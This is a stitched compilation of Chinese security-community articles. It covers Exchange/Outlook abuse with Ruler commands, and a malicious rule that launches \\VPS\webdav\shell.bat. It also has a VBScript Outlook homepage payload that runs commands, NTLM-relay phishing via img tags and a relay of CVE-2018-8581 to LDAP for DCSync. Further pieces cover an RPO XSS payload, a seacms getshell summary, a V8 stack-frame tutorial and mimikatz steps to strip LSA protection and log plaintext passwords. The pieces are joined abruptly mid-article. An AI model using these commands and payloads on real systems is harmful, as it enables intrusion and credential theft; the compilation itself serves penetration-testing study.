ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密码 --verbose --debug form send --target [email protected] --suffix superduper --subject "Hi Koos" --body "Hi Koos,\nJust checking in."
删除
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email [email protected] -u daiker -p 密码 --verbose --debug form delete --suffix superduper
KB4011091 于 2017年9月的更新中修复
### 2\. Ruler
查看规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密码 —verbose —debug display
增加规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密码 —verbose —debug add —location “\\VPS\webdav\shell.bat” —trigger “popashell” —name maliciousrule
触发规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密码 —verbose —debug send —subject popashell —body “this is a test by daiker”
删除规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密码 —verbose —debug delete —id 020000006cfcd8d7
webdav可以这样开
pip install WsgiDAV cheroot
wsgidav —host 0.0.0.0 —port 80 —root=/tmp/11/
没有CVE编号,但是有些版本Outlook没测试成功,可以看下这篇文章[Outlook 2016 rules start application
option gone](https://answers.microsoft.com/en-us/msoffice/forum/msoffice_outlook-mso_win10-mso_o365b/outlook-2016-rules-start-application-option-gone/1eb0066d-d50f-4948-824e-adee58ca5a6f)
### 3\. HomePage
1.[Ruler](https://github.com/sensepost/ruler)
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密码 —verbose —debug homepage display
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密码 —verbose —debug homepage add —url http://x
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email [email protected] -u daiker -p 密码 —verbose —debug homepage delete
2.[pth_to_ews.exe](https://github.com/pentest-tools-public/Pass-to-hash-EWS)
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -Purl http://VPS:9090/aa.html -Type Set
HomePage 的内容是
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!-- Sub window_onload()
Set Application = ViewCtl1.OutlookApplication
Set cmd = Application.CreateObject("Wscript.Shell")
cmd.Run("calc")
End Sub
-->
</script>
</head>
<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100%" height="100%"></object>
</body>
</html>
这个是弹计算器的 自行修改,
在2017 年 11 月安全更新修复,CVE-2017-11774
修复后 Homepage 默认关闭，重新启用：
[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security] "EnableRoamingFolderHomepages"=dword:00000001
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\16.0\Outlook\Security] DWORD: NonDefaultStoreScript Value Data: 1 (Hexadecimal) to enable.
## 0x08 NTLM_Relay
在之前的系列文章里面曾经说过ntlm_relay,ntlm_relay在Exchange上的应用也很广泛.
主要有以下几种攻击场景
### 1\. 普通用户relay 到ews接口
由于EWS接口也支持NTLM
SSP的。我们可以relay到EWS接口，从而收发邮件，代理等等。在使用outlook的情况下还可以通过homepage或者下发规则达到命令执行的效果。而且这种Relay还有一种好处，将Exchange开放在外网的公司并不在少数，我们可以在外网发起relay，而不需要在内网.
而outlook有个设计缺陷(具体版本稍不清楚),又可以导致我们给鱼儿发一封邮箱,对方只需查看邮件,无需预览,就可以拿到鱼儿的ntlm请求.
我们给鱼儿发一封邮件,使用HTML,在里面插入以下语句
<img src="http://redteamw/">
<img src="\\IP">
这里支持两种协议,这里说下两个的区别
1. UNCUNC默认携带凭据,但是如果IP 是公网IP的话,很多公司是访问不到公网445的
2. HTTP协议默认不携带凭据,只有信任域(域内DNS记录)才会携带凭据.域内的成员默认有增加DNS的权限,可以用域内成员的权限在内网增加一条DNS记录.
给鱼儿发送邮箱
当鱼儿用outlook打开的时候就会触发请求,我们再将请求relay到EWS接口
relay到EWS接口查看邮件
relay到EWS接口通过HomePage控制Outlook客户端
### 2\. Exchange中的SSRF
在常规渗透中,SSRF常用以对内网的应用进行嗅探,配合内网某些未授权访问的应用来扩大攻击面.由于Exchange的SSRF默认携带凭据,在Relay的场景中,攻击利用面被不断放大,网上公开的一个SSRF就是CVE-2018-8581.
主要有两种应用,relay到EWS接口,relay到LDAP
(1) relay到EWS接口
由于Exchange 是以System用户的权限运行,因此我们拿到的是机器用户的Net-Ntlm Hash。并不能直接用以登录。但是Exchange
机器用户可以获得TokenSerializationRight的”特权”会话，可以Relay 到
机子本身的Ews接口，然后可以使用SOAP请求头来冒充任何用户。
具体利用请见Wyatu师傅的<https://github.com/WyAtu/CVE-2018-8581>
(2) relay到LDAP
所有的Exchange Server 都在`Exchange Windows
Permissions`组里面,而这个组默认就对域有WriteACL权限.因此我们可以relay到LDAP,而又由于Relay到的服务端是Ldap,Ldap服务器的默认策略是协商签名。而不是强制签名。是否签名由客户端决定。在SSRF里面发起的请求是http协议，http协议是不要求进行签名.
这里面
攻击者:172.16.228.1
Exchange:172.16.228.133
域控:172.16.228.135
* 使用impacket监听端口等待连接
* 发起推送订阅指定所需的URL，Exchange. 服务器将尝试向这个URL发送通知
* Relay 到域控的Ldap 服务器并给普通用户daiker添加两条acl
* daiker进行Dcync
## 0x09 引用
* [渗透技巧——获得Exchange GlobalAddressList的方法](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Exchange-GlobalAddressList%E7%9A%84%E6%96%B9%E6%B3%95/)
* Owa-Outlook备忘录 | 社区文章 |
[+] Author: math1as
[+] Team: L team
# 1 引言
RPO(relative path overwrite)是一类由于浏览器和服务器中间件或web server本身,对用户
传入的url本身进行解析时,产生了理解差异而导致的漏洞。
# 1.1 背景
RPO漏洞最早由Gareth Heyes发表的文章中的提出,这种漏洞本质上
是利用前端源码中加载css/js的路径,来加载其他文件实现XSS等攻击。
而还可以做更多的推广
# 1.2 测试环境
在本文所描述的漏洞场景下,用到的环境是
apache/nginx + php7-fpm
chrome/firefox 浏览器 最新版
# 2 原理剖析
# 2.1 web server的url解码功能
在我们的测试环境,如nginx下,它会自动的把我们提交的url中的一些被编码后的参数解码
而且,还会按照正常的逻辑去进行处理
比如我们在/content/ 目录下有index.php文件
一般的访问方式是这样的
那么,如果我们把目录符号/编码呢?
在apache的环境下
访问127.0.0.1/content%2findex.php
虽然解码了requested url
但是并没有访问到我们的文件
切换到nginx
可以发现,成功的解码了url,并且访问到了指定的文件
也就是说,nginx等web server是接受这种请求方式的。
# 2.2 浏览器加载文件的相对路径
在编写前端页面时,程序员往往需要考虑到多层目录的问题,有时候为了方便
就会去加载类似../xxx.js 或者../xxx.css这样的静态资源
而这个../是相对于浏览器的当前路径的,浏览器是怎么识别当前路径的呢?
我们再增加一个子目录x
里面有一个内容为<script src='../x.js' ></script>的php文件
我们来测试一下2.1种两种不同的请求方式所分别加载的文件
当请求127.0.0.1/content/x/index.php 时
当请求127.0.0.1/content%2findex.php 时
也就是说,浏览器的认知中,并没有解码%2f
而是以最后一个 / 作为了前一个目录结束的标志
# 2.3 差异性的利用
我们发现,虽然用两个不同的url都能请求到服务器上相同的文件
也就是我们的/content/x/index.php
但是最终这个index.php中所加载的资源文件却是不同的
那么这个资源文件是否可控呢?答案是肯定的
如果我们构造/content/fake/..%2fx/index.php
仍然会加载到这个index.php
但是这时,浏览器的当前目录是/content/fake/..%2fx/
向上跳一层 也就是/content/fake/
最终加载到了/content/fake/ 这个目录下的文件
这也就是rpo这类漏洞的原理所在
利用了服务器和浏览器理解url的差异性
# 3 实践利用
# 3.1 url加载问题
在一部分使用了url_rewrite的php框架,和一部分python框架以及jsp中
会存在url加载的一个小问题
比如code igniter中会把/index.php/x/some buffer
的some buffer当作传入的第一个参数
最终访问/index.php/x/some buffer
得到了/index.php/x/ 相同的结果
当然,更加广泛的情况是,web server里可以对? 进行编码
这样最后请求的后面内容被当作queryString而忽略
这样的情况下,类似于前者拼接的x.js就不会对我们最终加载的内容产生干扰
而可以包含任意的文件
# 3.2 漏洞测试
实际的利用环境如下
/content/xxx/index.php中加载了../x.js
而 /content/yyy/x.php 是一个把用户传入的参数进行htmlentities转义并输出的模块
<?php
$j=$_GET['val'];
echo htmlentites($j);
?>
这样我们一般情况下是没有办法直接对x.php进行xss的,但是通过传入$val=alert(1)
我们获得了一个加载点
对 127.0.0.1/content/xxx/index.php 进行构造
127.0.0.1/content/yyy/x.php%3fval=alert(1)/..%2f..%2fxxx/index.php
成功的进行了xss
当然,firefox浏览器下的情况也允许它进行这样的攻击
# 3.3 加载css
我们把场景做一下小的改变
如果现在加载的是一个css的话针对ie仍然可以做xss攻击
比如传入如下代码
#header {
background:url(javascript:alert('1'));}
即可得到执行
而也可以通过@import 加载一个远程地址进而进行信息的泄露或者其他攻击当然,还有更多的通用攻击方式比如劫持加载某个swf来引发flash-xss
# 4 结语
通过我们对Relative Path
Overwrite这类漏洞的简单的探讨我们发现它可以引发一些类似xss的漏洞,对正常的业务产生危害因此,需要避免直接使用相对路径进行静态文件的加载
# 5 参考
[1] <http://www.tuicool.com/articles/eIf6Vje> | 社区文章 |
一个月前，90sec团队内部分享了一个 **seacms** 最新版前台 **getshell** 。鉴于目前 **seacms** 已经更新到
**9.98** 版本，本文中的漏洞也已经修复了，网络上也公开了细节，这里将当时的记录分享出来。
漏洞文件在 **comment/api/index.php** ，开头
**require_once("../../include/common.php")** 主要会做两件事。先将
**$_GET、$_POST、$_COOKIE** 注册成全局变量。（下图对应文件位置：include/filter.inc.php）
然后再检查这里是否存在非法变量名。不觉的这里有问题吗？正常逻辑应该是先检查变量名是否合法，然后再注册变量。还有一个问题就是，这里漏过滤了
**_SESSION、_FILES** ，我们继续往下看。（下图对应文件位置：include/common.php）
在下图第18行处调用了 **ReadData** 函数，我们跟进这个函数。在 **ReadData** 函数中，我们要关注 **$rlist**
，这个变量可以通过前面的全局变量注册来控制。而下面两个 **Readmlist、Readrlist**
都有用到这个变量，我们跟进。（下图对应文件位置：comment/api/index.php）
**Readmlist** 函数我们主要关注的是其对 **$rlist**
变量的过滤，具体过滤如下：（下图对应文件位置：comment/api/index.php）
然后再看 **Readrlist** 函数。这里的 **$ids** 其实就是刚才可控的 **$rlist** 变量，有没发现这里直接拼接在 **SQL**
语句中，而且没有引号包裹。而 **getshell** 也是发生在SQL语句执行这里。（下图对应文件位置：comment/api/index.php）
当 **SQL** 语句执行出错时， **seacms** 会把出错的信息写入一个 **PHP** 文件，这也是最终导致 **getshell**
的原因。（下图对应文件位置：include/sql.class.php）
**getshell** 结果如下：
不得不吐槽一句，这个 **CMS** 写的真的很烂，代码有很多问题。 | 社区文章 |
# 连载《Chrome V8 原理讲解》第七篇 V8堆栈框架 Stack Frame
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
本文是第七篇。讲解v8处理函数调用时的底层架构。通过分析运行时函数堆栈，重点对“实际参数少于声明参数”和“实际参数多于声明参数”两种函数调用的stack
frame进行详细分析，解释这两种调用方式为什么没有发生堆栈泄露，还能稳定运行、生成正确结果的原因，借此阐述v8堆栈的设计细节。
本文中把“实际参数少于声明参数”和“实际参数多于声明参数”称为 **实参不匹配** ，“实参与函数声明的形参数量相同”称为 **正常调用**
。本文的组织方式：v8 stack frame介绍（章节2）；stack frame的先导知识—寄存器与参数编码（章节3）；v8刚淘汰的adaptor
frame机制（章节4）；v8最新的stack frame机制（章节5）。
**关键词：stack frame，caller，callee，bytecode，adaptor frame**
## 2 stack frame介绍
v8在调用函数（callee）之前都会把实际参数压栈，callee会把局部变量压栈。stack
frame是一块保留区域，用于存放实参、callee的返回值、局部变量和寄存器。stack frame的创建步骤如下：
**（1）** callee的实际参数。如果有，压栈。
**（2）** callee的返回地址压栈。
**（3）** callee开始执行，EBP压栈。
**（4）** 设置EBP等于ESP。 _注：EBP现在代表callee的栈基址。_
**（5）** 如果有局部变量，修改ESP预留栈空间。
**（6）** 如果需要保存寄存器，压栈。
以上六步是常规的函数调用堆栈构建过程，看下面的样例代码，是正常的函数调用。
function add42(x) {
return x + 42;
}
add42(91);
`add42(x)`在V8中的执行过程如图1所示。 _注:不考虑优化技术_
图1中，在lazy
mode（相关概念参见第五篇文章）情况下，当callee初次执行时，Ignition才生成它的bytecode，安装与体系结构相关的配置，进入callee空间执行，最后再返回到caller。bytecode生成后，开始执行`add42(x)`，stack
frame如图2。
图2是callee执行时的stack
frame，构建过程由V8中的`InterpreterPushArgsThenCall`负责，`add42(x)`定义时声明了一个参数，调用时也是传入了一个实参91，这是一个正常的函数调用，调用结束后正常退出，正常清理堆栈。看下面两种非常普遍的情况：
**（1）** 调用函数不传实参，`add42()`
**（2）** 调用函数传入多个实参，`add42(91,1,2)`
这两种情况属于“实参不匹配”，在sloppy
mode下不会报错，正常执行，`add42(91,1,2)`还会返回正确的结果133。众所周知，“实参不匹配”时，calee退出时可能发生堆栈泄露。本文剩余篇幅讲解V8如何做到“实参不匹配”的正确运行，既能有正确的返回结果(133)，又不发生堆栈泄露。
## 3 寄存器与参数编码
了解bytecode中寄存器和函数参数的编码方式，有助于理解stack frame的原理。调用`add42(91)`生成的bytecode如下：
0d LdaUndefined //加载undefined到累加器
26 f9 Star r2 //累加器的值存入r2寄存器
13 01 00 LdaGlobal [1] //加载全局指针(add42)到累加器
26 fa Star r1 //累加器的值存入r1
0c 03 LdaSmi [91] //加载小整型数91到累加器
26 f8 Star r3 //累加器的值存入r3
5f fa f9 02 CallNoFeedback r1, r2-r3 //调用add42(x)
寄存器用非负单字节整数编码，r1的编码是fa，r2是f9，以此类推。`5f fa f9 02 CallNoFeedback r1,
r2-r3`中，`fa`代表r1寄存器，`f9`代表r2寄存器，`02`表示长度为2，`f9 02`联合表示：以r2开始，长度为2的寄存器列表。
25 02 Ldar a0 //加载第一个参数到累加器
40 2a 00 AddSmi [42] //累加器 +=42
ab Return //返回累加器
上面是执行`add42(x)`函数的bytecode，第一个参数（a0）的数字编码是02。
这种编码其实是stack frame的偏移量，见图2，fa补码（two’s
complement）是6，FP减6正好是r1寄存器，a0补码是2，FP加2正好是第一个实参91。这种编码方式的优点：通过简单的FP加减操作，实现了对参数和寄存器的快速访问，简化了字节码的设计。
**注意：**
由于v8版本更新迭代快，不同版v8的编码实现存在细微差别，但编码思路是相同的，并且v8中规定了寄器存访问公式：r[i]=FP-2-kFixedFrameHeaderSize-i，参数访问公式：a[i]=FP+2+parameter_count-i-1，parameter_count表示参数的数量。
## 4 adaptor frame机制
沿用多年的adaptor frame机制已经被淘汰，但了解adaptor frame机制，有助理解v8中新stack
frame机制的原理和设计初衷。下面是“实参不匹配”的调用:
add42()
add42(91,1,2,)
众所周知，`add42()`的结果是undefined+42=NaN；`add42(91,1,2)`的结果是91+42=133；这两个函数都正常执行，没发生堆栈泄露，并且返回结果133，图3给出了stack
frame的镜像。
与图2对比，可知stack frame中新增了adaptor frame结构(黄色标记)。adaptor frame中有两个重要数据：
**（1）** Number of
arguments，它记录了`add42(x)`调用时的参数数量。这个数值在编译期，通过查询对应的JSFunction获得，对于`add42(x)`，它的值为1。
**（2）** 实参slot，存储了`add42(x)`调用时传入的实参，数量由Number of arguments决定。
在执行`add42()`时，缺少一个实参，用一个Undefined填充实参slot，见图3中左侧的stack frame。
另一个`add42(91,1,2)`中，虽然入栈三个实数，但根据Number of
arguments得知，只需要一个实参，取第一个参数91填充实参slot。
之后，进入`add42(x)`开始执行，它所需要的实数从Adaptor Frame中读取的，和Caller
Frame没有关系。`add42(x)`执行时可以准确地读取实数，Undefinded或91，这变成了正常调用。
总结，Adaptor
Frame的作用是改变“实参不匹配”为“正常调用”，其本质是caller和callee之间的纽带，负责计算存callee所需要的实参，并从caller中取来，缺失时用undefined补上，多余的忽略。入压时已经保存了Saved
FP和Saved Adaptor FP，callee退栈到Adaptor Frame，Adaptor Frame退栈到caller，所以不会发生堆栈泄露。
为什么v8淘汰Adaptor Frame？因为性能损耗，调用一次callee，要发生两次stack Frame构建，一次是构建Adaptor
Frame，另一次是构建callee Frame，这是很耗时的，所以要淘汰。
## 5 最新的stack frame机制
出于性能优化的考虑，2021年初，服役多年的adaptor frame退出了历史舞台，新版stack frame机制如图4所示。
它的创新点是省去adaptor frame，将函数调用时的堆栈构建减少一次，但保留Number of Arguments。
新版stack frame机制必须满足以下四点要求，这更是v8团队设计这种新stack frame机制的初衷：
**（1）** 满足章节2中介绍的用偏移量访问参数和寄存器的方式。
**（2）** 必须能处理“实参不匹配”的函数调用，`add42()`和`add42(91,1,2)`都可以正常执行。
**（3）** callee退出，实现堆栈正常清理，这是必须的！
**（4）** 抛弃adaptor frame，因为它太消耗性能。
下面详细说明图4的新stack frame机制如何满足以上四点要求：
针对第(1)点要求，入压方式不变，编码方式不变，一定满足，读者可以计算验证，不再赘述。
针对第(2)点要求，Number of arguments的作用与上面的一样，记录callee需要的实参数量，`add42(x)`的Number of
arguments是1。v8约定：callee的实参由右向左压入caller Frame，压入数量取实际数量和Number of
arguments的最大值。`add42(91,1,2)`调用时，实际数量是3(91,1,2)个，入栈3个实参，依次为2,1,91。`add42()`调用时，实际数量是0个，Number
of
arguments是1，要入栈1个实参，用Undefined填充。进入`add42(x)`执行，它可以得到期望的参数(91或Undefined)，此需求满足。
针对第(3)点要求，图4中入栈方式是常规的入栈，所以退出时不存在任何问题。
针对第(4)点要求，已经满足了，adaptor frame suddenly disappeared!!!
下面给出上述功能的关键入口函数，供读者复现学习。
void Builtins::Generate_InterpreterPushArgsThenCallImpl(
MacroAssembler* masm, ConvertReceiverMode receiver_mode,
InterpreterPushArgsMode mode) {
DCHECK(mode != InterpreterPushArgsMode::kArrayFunction);
// ----------- S t a t e ------------- // -- rax : the number of arguments (not including the receiver)
// -- rbx : the address of the first argument to be pushed. Subsequent
// arguments should be consecutive above this, in the same order as
// they are to be pushed onto the stack.
// -- rdi : the target to call (can be any Object).
// ----------------------------------- Label stack_overflow;
if (mode == InterpreterPushArgsMode::kWithFinalSpread) {
// The spread argument should not be pushed.
__ decl(rax);
}
__ leal(rcx, Operand(rax, 1)); // Add one for receiver.
// Add a stack check before pushing arguments.
__ StackOverflowCheck(rcx, &stack_overflow);
// Pop return address to allow tail-call after pushing arguments.
__ PopReturnAddressTo(kScratchRegister);
if (receiver_mode == ConvertReceiverMode::kNullOrUndefined) {
// Don't copy receiver.
__ decq(rcx);
}
// rbx and rdx will be modified.
GenerateInterpreterPushArgs(masm, rcx, rbx, rdx);
// Push "undefined" as the receiver arg if we need to.
if (receiver_mode == ConvertReceiverMode::kNullOrUndefined) {
__ PushRoot(RootIndex::kUndefinedValue);
}
if (mode == InterpreterPushArgsMode::kWithFinalSpread) {
// Pass the spread in the register rbx.
// rbx already points to the penultime argument, the spread
// is below that.
__ movq(rbx, Operand(rbx, -kSystemPointerSize));
}
// Call the target.
__ PushReturnAddressFrom(kScratchRegister); // Re-push return address.
if (mode == InterpreterPushArgsMode::kWithFinalSpread) {
__ Jump(BUILTIN_CODE(masm->isolate(), CallWithSpread),
RelocInfo::CODE_TARGET);
} else {
__ Jump(masm->isolate()->builtins()->Call(receiver_mode),
RelocInfo::CODE_TARGET);
}
// Throw stack overflow exception.
__ bind(&stack_overflow);
{
__ TailCallRuntime(Runtime::kThrowStackOverflow);
// This should be unreachable.
__ int3();
}
}
//=======================================
//======分割线==========================
//=======================================
void Builtins::Generate_InterpreterPushArgsThenConstructImpl(
MacroAssembler* masm, InterpreterPushArgsMode mode) {
// ----------- S t a t e ------------- // -- rax : the number of arguments (not including the receiver)
// -- rdx : the new target (either the same as the constructor or
// the JSFunction on which new was invoked initially)
// -- rdi : the constructor to call (can be any Object)
// -- rbx : the allocation site feedback if available, undefined otherwise
// -- rcx : the address of the first argument to be pushed. Subsequent
// arguments should be consecutive above this, in the same order as
// they are to be pushed onto the stack.
// ----------------------------------- Label stack_overflow;
// Add a stack check before pushing arguments.
__ StackOverflowCheck(rax, &stack_overflow);
// Pop return address to allow tail-call after pushing arguments.
__ PopReturnAddressTo(kScratchRegister);
if (mode == InterpreterPushArgsMode::kWithFinalSpread) {
// The spread argument should not be pushed.
__ decl(rax);
}
// rcx and r8 will be modified.
GenerateInterpreterPushArgs(masm, rax, rcx, r8);
// Push slot for the receiver to be constructed.
__ Push(Immediate(0));
if (mode == InterpreterPushArgsMode::kWithFinalSpread) {
// Pass the spread in the register rbx.
__ movq(rbx, Operand(rcx, -kSystemPointerSize));
// Push return address in preparation for the tail-call.
__ PushReturnAddressFrom(kScratchRegister);
} else {
__ PushReturnAddressFrom(kScratchRegister);
__ AssertUndefinedOrAllocationSite(rbx);
}
if (mode == InterpreterPushArgsMode::kArrayFunction) {
// Tail call to the array construct stub (still in the caller
// context at this point).
__ AssertFunction(rdi);
// Jump to the constructor function (rax, rbx, rdx passed on).
Handle<Code> code = BUILTIN_CODE(masm->isolate(), ArrayConstructorImpl);
__ Jump(code, RelocInfo::CODE_TARGET);
} else if (mode == InterpreterPushArgsMode::kWithFinalSpread) {
// Call the constructor (rax, rdx, rdi passed on).
__ Jump(BUILTIN_CODE(masm->isolate(), ConstructWithSpread),
RelocInfo::CODE_TARGET);
} else {
DCHECK_EQ(InterpreterPushArgsMode::kOther, mode);
// Call the constructor (rax, rdx, rdi passed on).
__ Jump(BUILTIN_CODE(masm->isolate(), Construct), RelocInfo::CODE_TARGET);
}
// Throw stack overflow exception.
__ bind(&stack_overflow);
{
__ TailCallRuntime(Runtime::kThrowStackOverflow);
// This should be unreachable.
__ int3();
}
}
以上代码是两功能函数，给出了即将执行callee之前，做的一些与体系结构相关的准备工作，我的平台是x64架构，所以上述代码取自builtins-x64.cc，读者可以debug调式学习。
void Builtins::Generate_Call(MacroAssembler* masm, ConvertReceiverMode mode) {
// ----------- S t a t e ------------- // -- rax : the number of arguments (not including the receiver)
// -- rdi : the target to call (can be any Object)
// ----------------------------------- StackArgumentsAccessor args(rax);
Label non_callable;
__ JumpIfSmi(rdi, &non_callable);
__ LoadMap(rcx, rdi);
__ CmpInstanceTypeRange(rcx, FIRST_JS_FUNCTION_TYPE, LAST_JS_FUNCTION_TYPE);
__ Jump(masm->isolate()->builtins()->CallFunction(mode),
RelocInfo::CODE_TARGET, below_equal);
__ CmpInstanceType(rcx, JS_BOUND_FUNCTION_TYPE);
__ Jump(BUILTIN_CODE(masm->isolate(), CallBoundFunction),
RelocInfo::CODE_TARGET, equal);
// Check if target has a [[Call]] internal method.
__ testb(FieldOperand(rcx, Map::kBitFieldOffset),
Immediate(Map::Bits1::IsCallableBit::kMask));
__ j(zero, &non_callable, Label::kNear);
// Check if target is a proxy and call CallProxy external builtin
__ CmpInstanceType(rcx, JS_PROXY_TYPE);
__ Jump(BUILTIN_CODE(masm->isolate(), CallProxy), RelocInfo::CODE_TARGET,
equal);
// 2. Call to something else, which might have a [[Call]] internal method (if
// not we raise an exception).
// Overwrite the original receiver with the (original) target.
__ movq(args.GetReceiverOperand(), rdi);
// Let the "call_as_function_delegate" take care of the rest.
__ LoadNativeContextSlot(rdi, Context::CALL_AS_FUNCTION_DELEGATE_INDEX);
__ Jump(masm->isolate()->builtins()->CallFunction(
ConvertReceiverMode::kNotNullOrUndefined),
RelocInfo::CODE_TARGET);
// 3. Call to something that is not callable.
__ bind(&non_callable);
{
FrameScope scope(masm, StackFrame::INTERNAL);
__ Push(rdi);
__ CallRuntime(Runtime::kThrowCalledNonCallable);
}
}
本文只讲解callee为函数的情况(根据ECMA规范，callee还可以是构造体，等等。)，此时上述代码是执行callee的入口函数，`Generate_Call`的第一个参数`MacroAssembler*
masm`以及它内部的指令，如`__ JumpIfSmi(rdi,
&non_callable);`都说明了这里执行bytecode，读者可以自行debug调试。
从这里开始，后续会用到汇编知识，经常在没有源码的情况下进行汇编调试。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
在渗透过程中，获得一台windows机器权限之后，很重要一个环节就是抓密码。
但是在使用mimikatz抓取系统账号密码时，有时运维人员会开启一些防护措施，导致mimikatz抓取失败或异常。
本文主要几种mimikatz运行方式，来bypass LSA Protection 和Credential Guard获取密码。
### Bypass LSA Protection
自Windows 8.1 开始为LSA提供了额外的保护（LSA
Protection），以防止读取内存和不受保护的进程注入代码。保护模式要求所有加载到LSA的插件都必须使用Microsoft签名进行数字签名。 在LSA
Protection保护模式下，mimikatz运行 sekurlsa::logonpasswords抓取密码会报错。
#### 1) 开启 LSA Protection
测试环境：Windows 10 X64
可以通过注册表开启LSA Protection，注册表位置：
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建-DWORD（32）值，名称为 RunAsPPL,数值为 00000001，然后重启系统生效。
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f
验证LSA是否以保护模式启动，查看系统日志，事件id为12-LSASS.exe作为受保护的进程启动：
#### 2) LSA Protection运行下的sekurlsa::logonpasswords
在开启LSA Protection时，mimikatz运行 sekurlsa::logonpasswords会报错 “ERROR
kuhl_m_sekurlsa_acquireLSA；Handle on memery”
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
#### 3) lsadump::sam bypass
mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据，可成功pypass LSA Protection，读取到用户哈希
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
#### 4) mimidrv.sys bypass
mimikatz其中的mimidrv.sys驱动程序，可从lsass.exe进程中删除LSA保护，成功pypass LSA Protection。
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
### Bypass Credential Guard
在Windows 10和Windows Server 2016中，Microsoft启用Credential
Guard（凭据防护），使用基于虚拟化技术来保护和隔离lsass进程，以保护凭证。启用Credential
Guard后，lsass包含2个进程：正常LSA进程和隔离LSA进程（在VSM中运行）。
#### 1) 开启Credential Guard
测试环境：Windows 10 X64
可以使用组策略启用Windows Defender凭据保护：
在组策略管理控制台中，在”计算机配置” -> “管理模板” -> “系统” -> “Device
Guard”，打开”打开基于虚拟化的安全”，选择”已启用”；
在”选择平台安全级别”框中，选择”安全启动”或”安全启动和DMA保护”；
在”凭据保护配置”框中，选择”使用UEFI锁启用”。如果希望能够远程关闭Windows Defender Credential
Guard，选择”无锁启用”。
运行gpupdate /force 强制执行组策略
验证Windows Defender Credential Guard是否运行：
输入msinfo32.exe，在 ”系统摘要”-> ”已配置基于虚拟化的安全服务”处，可看到显示”Credential Guard”
#### 2) Credential Guard运行下的sekurlsa::logonpasswords
在开启Credential Guard时 mimikatz运行
sekurlsa::logonpasswords，经测试，可以抓到部分用户哈希，但是存在缺陷：1）抓取到的用户不全，有遗漏 2）抓不到密码明文
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
只抓取其中一个用户lltest的哈希，缺失了用户lltest2，并且没有了之前的明文：
#### 3 ) lsadump::sam bypass
mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据，可成功bypass Credential Guard，读取到全部的用户哈希
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
新增抓到了用户lltest2的哈希：
#### 4) misc::memssp bypass
SSP是参与用户身份验证的Microsoft软件包，如在用户登录时被调用，并接收该用户的凭据。在系统启动时SSP会被加载到进程lsass.exe中。
Mimikatz可通过内存安装自定义的ssp，修改lsass进程的内存，实现从lsass进程中提取凭据，mimikatz执行misc::memssp后，如果再输入了新的凭据(如用户锁屏后重新登录)，将会在c:\windows\system32下生成文件mimilsa.log，其中保存有用户明文密码。
mimikatz # privilege::debug
mimikatz # misc::memssp
锁屏后，重新登陆，成功记录到用户密码明文：
补充：此外 还可以尝试mimikatz的 lsadump::secrets 从注册表中获取syskey信息来解密、以及PwDump7
、QuarksPwDump等工具来bypass LSA Protection和Credential Guard。
#### 参考
<https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection>
<https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage>
<https://blog.nviso.be/2018/01/09/windows-credential-guard-mimikatz/>
<https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a>
<https://blogs.jpcert.or.jp/en/2016/10/verification-of-ad9d.html> | 社区文章 |
# 黑产大数据：短视频及直播行业的暗流涌动
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本报告由威胁猎人鬼谷实验室独家编写与发布，并受法律保护。未经允许不得擅自转载、摘编或利用其它方式使用本报告文字或观点，如需转载请联系威胁猎人。违反上述声明者，将追究其相关法律责任。
引言：本报告是威胁猎人鬼谷实验室出品的黑产大数据系列报告的第3篇，上篇我们深扒在线视频流量行业的黑灰产现状。这次，我们将重点关注短视频和在线直播行业的虚假流量现状。目前短视频及直播行业虚假流量已占黑产流量大头，整篇报告会从行业发展、黑产变现模式、行业黑产数据以及黑产流量预警等几个方面进行探讨。
报告数据来源：威胁猎人TH-Karma业务情报监测平台。
全文4392字，预计阅读时间11分钟。
## 1.短视频及直播行业虚假流量已占黑产流量大头
